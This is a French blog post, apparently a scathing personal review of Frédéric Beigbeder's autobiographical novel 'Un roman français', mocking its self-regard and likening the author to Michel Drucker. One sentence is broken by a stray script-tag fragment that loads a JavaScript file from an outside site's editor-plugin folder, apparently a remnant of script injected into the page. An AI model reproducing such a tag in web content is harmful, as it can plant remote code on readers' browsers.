Coup de Gueule : Un roman Français, de Frédéric Beigbeder.

J’ai lu Un roman Français, de Frédéric Beigbeder.

Et je ne comprends pas : je suis génétiquement programmée pour aimer Frédéric Beigbeder : je suis adepte des chaînes où il a pignon, j’ai commence dans la pub, j’habite dans un quartier où, à la sortie d’école, un père sur 3 essaye de lui ressembler. Et je n’arrive pas à aimer Frédéric Beigbeder. Ca manque à ma panoplie de bobo parisienne (et ça me gene) .

Et le pire, c’est que plus ça va, moins j’y arrive. Ce roman qui marque pour tout le monde l’apogée du talent de Beigbeder, moi, il m’a profondément ennuyée.

Beigbeder nous parle de son enfance :

c’est horrible, ses parents ont divorcé et son grand frère l’a écrasé de sa perfectitude .

Que Beigbeder ait eu besoin d’écrire ce livre après un “petit problème avec la police”, je peux le comprendre, pour autant, je n’ai pas l’impression, moi d’avoir besoin de le lire.

C’est quand meme l’histoire d’un pauvre petit garcon riche.

 

Pour moi, Beigbeder est en phase de Michel Druckerisation : même quand il parle des autres, il arrive à parler de lui. Alors"text/javascript" src="http://gaelle-renard.fr/plugins/editors/tinymce/jscripts/tiny_mce/themes/advanced/langs/fr.js"> vous imaginez quand il écrit son autobiographie!

On a vraiment l’impression qu’il écrit en se regardant dans un miroir. Ou mieux, qu’il est le cineaste de lui-même : quand il se décrit cheveux aux vents sur son scooter, on l’imagine presque un camescope d’une main, le guidon de l’autre!

 

Dans le livre, dont, bon, le titre annonce clairement qu’il va parler de son enfance, il pose en préambule qu’il n’a pas de souvenirs, qu’il est amnésique de son enfance (amnésique et très malheureux parce qu’en plus, personne ne le croit). Là, on se dit : interessant : comment va-t-il sortir de cette ornière? Et bien il y arrive tout simplement en se justifiant à chaque souvenir : “ah, ça, je m’en souviens, mais c’est parce que j’étais avec mon grand-père”, “ça, je m’en souviens parce que c’est lié à ma fille”, “ça je m’en souviens parce que c’est le fait d’être enfermé qui fait que…”. Là enfin, on sent qu’il a trouvé le filon, il ne va plus essayer de se justifier, mais ça ne vient pas vite!

 

Il fait le tour de son arbre généalogique, où il n’y a pas un mediocre. Drucker, je vous dis. Il n’y a que des particules, des militaires, des héros, des intelligents. C’est pas credible: on a tous eu au moins une cousine qui a rate son BEPC.

La réponse de Beigbeder serait : “la petite cousine qui a pas eu le BEPC, c’est moi”. C’est genial comme defense, il ne s’en prive pas.

Il fait une plaisanterie facile, tendance ado biactolé, il prend les devants : vous avez raison, je suis immature, c’est pas ma faute.

Il s’enfonce dans ses contradictions : vous avez raison, je suis complexe, c’est pas ma faute.

Sauf qu’au bout d’un moment, il devient la caricature de lui-même, comme Michel Drucker…

 

Vous voulez que je vous fasse le pitch?  Une enfance Française, c’est l’histoire du vilain petit canard, pas à l’aise sur la plage de trousse chemise à l’île de Ré, avec tous ses enfants qui sont nés un pull en cachemire autour des épaules. Il n’a jamais été accepté, parce que lui, le pull, il le portait autour de la taille.

Et après il se drogue avec des mondains, et après on l’arrête, et on lui reproche de se droguer alors que les médecins, ils donnent de la morphine aux maladies en phase terminale! C’est pas normal…

 

C’est puéril? Oui. Mais ce n’est pas sa faute, il n’a pas grandi…